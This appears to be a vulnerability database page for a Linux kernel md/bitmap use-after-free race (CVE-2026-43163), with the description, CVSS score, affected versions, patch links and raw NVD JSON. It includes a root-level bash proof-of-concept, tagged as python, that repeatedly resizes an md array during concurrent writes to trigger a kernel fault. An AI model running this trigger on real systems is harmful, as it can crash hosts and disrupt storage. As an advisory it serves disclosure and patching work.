CVE-2026-43163

Description

In the Linux kernel, the following vulnerability has been resolved: md/bitmap: fix GPF in write_page caused by resize race A General Protection Fault occurs in write_page() during array resize: RIP: 0010:write_page+0x22b/0x3c0 [md_mod] This is a use-after-free race between bitmap_daemon_work() and __bitmap_resize(). The daemon iterates over `bitmap->storage.filemap` without locking, while the resize path frees that storage via md_bitmap_file_unmap(). `quiesce()` does not stop the md thread, allowing concurrent access to freed pages. Fix by holding `mddev->bitmap_info.mutex` during the bitmap update.

CVSS Details

CVSS Score

4.7

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:N/I:N/A:H

Configurations (Affected Products)

cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:* - VULNERABLE

Linux Kernel < Commit 140cc839fbeb1ddb33a8da8811b716d88d3905b7

Linux Kernel < Commit 46ef85f854dfa9d5226b3c1c46493d79556c9589

Linux Kernel < Commit 5f73c8b33df9a605a591eab72d43a969600c1f8c

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

#!/bin/bash
# PoC for CVE-2026-43163: Trigger race condition in md/bitmap resize
# This script attempts to trigger the UAF by resizing an md array concurrently with IO.
# Requires root privileges to create md devices.

# Setup: Create loop devices for testing
dd if=/dev/zero of=/tmp/md0.img bs=1M count=100
dd if=/dev/zero of=/tmp/md1.img bs=1M count=100
losetup /dev/loop0 /tmp/md0.img
losetup /dev/loop1 /tmp/md1.img

# Create md array
mdadm --create /dev/md0 --level=1 --raid-devices=2 /dev/loop0 /dev/loop1

# Function to perform resize operations
resize_loop() {
    while true; do
        mdadm --grow /dev/md0 --size=max
        mdadm --grow /dev/md0 --size=50M
    done
}

# Function to perform IO operations (triggers bitmap write)
io_loop() {
    while true; do
        dd if=/dev/urandom of=/dev/md0 bs=1M count=1
        sync
    done
}

# Start background processes to trigger race
resize_loop &
PID_RESIZE=$!
io_loop &
PID_IO=$!

echo "Triggering race condition (PIDs: $PID_RESIZE, $PID_IO)..."
sleep 10

# Cleanup
kill $PID_RESIZE $PID_IO
mdadm --stop /dev/md0
losetup -d /dev/loop0 /dev/loop1
rm /tmp/md0.img /tmp/md1.img

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-43163
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-43163
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-43163/
[4] VulDB https://vuldb.com/cve/CVE-2026-43163
[5] https://git.kernel.org/stable/c/140cc839fbeb1ddb33a8da8811b716d88d3905b7
[6] https://git.kernel.org/stable/c/46ef85f854dfa9d5226b3c1c46493d79556c9589
[7] https://git.kernel.org/stable/c/5f73c8b33df9a605a591eab72d43a969600c1f8c
[8] https://git.kernel.org/stable/c/9a6f8cd28bb9bb6ed86a6df19331fb08016dee7f
[9] https://git.kernel.org/stable/c/a437e3bf30e32846079e470c1ba5ee790bccdf89
[10] https://git.kernel.org/stable/c/d3af62411e19752c663fe4f424dbf49d95a4cc7c
[11] https://git.kernel.org/stable/c/d92b8fac294b5f915c50e65ce4ae2262e53614ec
[12] https://git.kernel.org/stable/c/ebcacc7ca22d5e8a03a970f0621ae1d1356b9ae8

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-43163", "sourceIdentifier": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "published": "2026-05-06T12:16:34.410", "lastModified": "2026-05-13T21:19:39.323", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "In the Linux kernel, the following vulnerability has been resolved:\n\nmd/bitmap: fix GPF in write_page caused by resize race\n\nA General Protection Fault occurs in write_page() during array resize:\nRIP: 0010:write_page+0x22b/0x3c0 [md_mod]\n\nThis is a use-after-free race between bitmap_daemon_work() and\n__bitmap_resize(). The daemon iterates over `bitmap->storage.filemap`\nwithout locking, while the resize path frees that storage via\nmd_bitmap_file_unmap(). `quiesce()` does not stop the md thread,\nallowing concurrent access to freed pages.\n\nFix by holding `mddev->bitmap_info.mutex` during the bitmap update."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:N/I:N/A:H", "baseScore": 4.7, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "HIGH", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.0, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-362"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "3.5", "versionEndExcluding": "5.10.252", "matchCriteriaId": "6DFD66C1-E1F4-4382-BD96-B2CD32A0C089"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "5.11", "versionEndExcluding": "5.15.202", "matchCriteriaId": "4002FC2B-1456-4666-B240-0EBF590C4671"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "5.16", "versionEndExcluding": "6.1.165", "matchCriteriaId": "797C7F46-D0BE-4FB8-A502-C5EF8E6B6654"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.2", "versionEndExcluding": "6.6.128", "matchCriteriaId": "851E9353-6C09-4CC9-877E-E09DB164A3C2"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.7", "versionEndExcluding": "6.12.75", "matchCriteriaId": "BCE16369-98ED-41CF-8995-DFDC10B288D2"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.13", "versionEndExcluding": "6.18.16", "matchCriteriaId": "B4B8CDA9-BADF-4CF5-8B3B-702DE8EEA40B"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.19", "versionEndExcluding": "6.19.6", "matchCriteriaId": "373EEEDA-FAA1-4FB4-B6ED-DB4DD99DBE67"}]}]}], "references": [{"url": "https://git.kernel.org/stable/c/140cc839fbeb1ddb33a8da8811b716d88d3905b7", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/46ef85f854dfa9d5226b3c1c46493d79556c9589", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/5f73c8b33df9a605a591eab72d43a969600c1f8c", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/9a6f8cd28bb9bb6ed86a6df19331fb08016dee7f", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/a437e3bf30e32846079e470c1ba5ee790bccdf89", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/d3af62411e19752c663fe4f424dbf49d95a4cc7c", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/d92b8fac294b5f915c50e65ce4ae2262e53614ec", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/ebcacc7ca22d5e8a03a970f0621ae1d1356b9ae8", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}]}}